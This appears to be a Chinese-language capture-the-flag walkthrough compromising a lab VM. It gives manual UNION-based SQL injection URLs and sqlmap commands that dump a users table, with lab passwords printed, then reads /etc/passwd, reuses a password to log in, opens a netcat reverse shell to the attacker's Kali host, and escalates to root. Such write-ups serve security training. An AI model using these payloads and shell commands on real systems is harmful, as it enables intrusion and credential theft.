一、明确目标
Kali: ip
192.168.119.129
靶机:ip
192.168.119.146
二、信息搜集
端口扫描:nmap 192.168.119.146 开放了22、80、9090
目录扫描:初步对80 端口进行扫描
Web 80端口 是一个登录框界面 普通用户登录
看见有个备份的目录 访问看看
端口 9090 也是一个 登录框界面 但是是服务器用户身份 才能进行登录
三、漏洞验证
使用sqlmap 验证是否存在sql 注入的漏洞
sqlmap -u "http://192.168.119.146/admin/?id=1" --batch
通过对 四个登录框界面 的测试 最后 在 http://192.168.119.146/admin 找到了存在注入的漏洞
通过 输入参数 id=1 回显正常
但 id=1’ 的时候 输出了报错信息
存在三种可以利用的注入方式
1.基于错误的
2.时间盲注
3.UNION 联合查询
手工注入篇
判断字段数
构造:http://192.168.119.146/admin/?id=1%20and%201=1%20order%20by%201
在字段数输入2时出现报错 可见字段数为1.
判断回显点
http://192.168.119.146/admin/?id=1%20and%201=2%20union%20select%201
数字1 地方可以看见回显的内容
查询相关内容
那就好办了
查询当前数据库名http://192.168.119.146/admin/?id=1%20and%201=2%20union%20select%20database()
查看数据库版本http://192.168.119.146/admin/?id=1%20and%201=2%20union%20select%20version()
查看用户 http://192.168.119.146/admin/?id=1%20and%201=2%20union%20select%20user()
查询当前数据库表名
查询字段名 :id
构造:http://192.168.119.146/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1
字段名:username
构造:http://192.168.119.146/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1
查询字段名 :password
构造:http://192.168.119.146/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1
查询字段名 :email
构造:http://192.168.119.146/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 3,3
http://192.168.119.146/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,4
结合之前查出来的结果
users 表里 有 id username password email 四个字段
查看 users 表里的所有username
~id=1-10
这里通过改id 的值来实现切换不同用户效果
当id=11 时 ,没有显示用户名表明 最多有10个用户。
依次查看password 的第一列到第十列 对应用户的密码 通过修改limit 后门的值就可查询
第一个用户的密码:http://192.168.119.146/admin/?id=1 union all select password from users limit 1,1
#
第二个用户的密码:http://192.168.119.146/admin/?id=1 union all select password from users limit 2,1
… 一直查到第十个用户的密码
第十个用户的密码:http://192.168.119.146/admin/?id=1 union all select password from users limit 10,1
查看10个用户的邮箱
第一个用户的邮箱格式 :用户名@localhost
一次性查看10 个用户的邮箱
Email:http://192.168.119.146/admin/?id=1 union select email from users limit 1,10
jack@localhostceo@localhostbrad@localhostexpenses@localhostjulia@localhostmike@localhostadrian@localhostjohn@localhostadmin@localhostalex@localhost
sqlmap篇
1.暴库(列出所有的数据库)
sqlmap -u "http://192.168.119.146/admin/?id=1" --dbs
2.web当前使用的数据库 为db
sqlmap -u "http://192.168.119.146/admin/?id=1" --current-db
3.当前使用数据库的用户
sqlmap -u "http://192.168.119.146/admin/?id=1" --current-user
4.列出数据库所有的用户
sqlmap -u "http://192.168.119.146/admin/?id=1" --users
5.列出数据中所有的表 就一张users 表
sqlmap -u "http://192.168.119.146/admin/?id=1" --tables -D db
6.列出数据库db特定表users的结构,所有字段
sqlmap -u "http://192.168.119.146/admin/?id=1" --columns -D db -T users
7.然后对columns 中的id 、username 、 password 和 email 进行爆破
sqlmap -u "http://192.168.119.146/admin/?id=1" --columns -D db -T users -C id,username,password,email -dump
查看后10个用户的密码、邮箱
1 jack gae5g5a jack@localhost
2 ceo 5t96y4i95y ceo@localhost
3 brad gae5g5a brad@localhost
4 expenses 5t96y4i95y expenses@localhostj
5 julia fw54vrfwe45 julia@localhost
6 mike 4kworw4 mike@localhost
7 adrian fw54vrfwe45 adrian@localhost
8 john 4kworw4 john@localhost
9 admin 15The4Dm1n4L1f3 admin@localhost
10 alex dsfsrw4 alex@localhost
去登录界面尝试用搜集到的用户名、邮箱、密码去登录 发现 都登录不了
通过查阅资料 了解到 可以通过数据库有读取文件的权限 去查看/etc/passwd 文件内容
看见 将文件存在kali 本地目录下
使用 cat 命令 去对应的目录下查看
四、漏洞利用
bin/bash 有命令执行权限
从中找到 和root 权限相似的 用户 charlotte
https://192.168.119.146:80/ 这个登录需要邮箱 暂时就不进行测试。
https://192.168.119.146:9090/ 这个登陆界面 刚好符合条件
结合之前的密码 , 和etc/passwd 下的 Charlotte 用户
Charlotte
随便输入
aadadad
抓包
发现输入的用户名密码会被base64 加密
将Y2hhcmxvdHRlOmFkYWFkYWQ=
解码后charlotte:aadadad
加密方式 用户名+密码 进行base64
Basic 认证是HTTP 中非常简单的认证方式,因为简单,所以不是很安全,不过仍然非常常用。
当一个客户端向一个需要认证的HTTP服务器进行数据请求时,如果之前没有认证过,HTTP服务器会返回401状态码,要求客户端输入用户名和密码。用户输入用户名和密码后,用户名和密码会经过BASE64加密附加到请求信息中再次请求HTTP服务器,HTTP服务器会根据请求头携带的认证信息,决定是否认证成功及做出相应的响应。
这里本人能力有限 爆破字典 里的密码就手动输入了
用户名 为 charlotte 不变
密码对之前记录下来的密码依次尝试登录
最后得出结果
用户名:charlotte
密码:15The4Dm1n4L1f3
登录之后查看 有什么可以利用的
在终端发现了 一个local.txt
五、权限提升
利用反弹shell , 设置为kali ip , 端口 设置为6666 .
~nc 192.168.119.129 6666 -e /bin/bash
终端执行以下命令
Kali 上 开启监听端口
Kali 端 等待消息
打开一个python 伪终端
python -c 'import pty;pty.spawn("/bin/bash")'
-c参数选项允许我们直接在命令终端里面执行指定脚本
查看python 版本为 2.7.16
可以使用os 模块调用本地的root 的shell
查看 id 确认root 身份 ,提权成功
恭喜完成,你太棒了!!!
总结:
1.通过sql 注入搜集用户名、密码、邮箱信息
2.通过反弹shell 获取终端控制权限 执行命令
3.使用os 模块调用本地的root 的shell 来到root 目录下 查看目标信息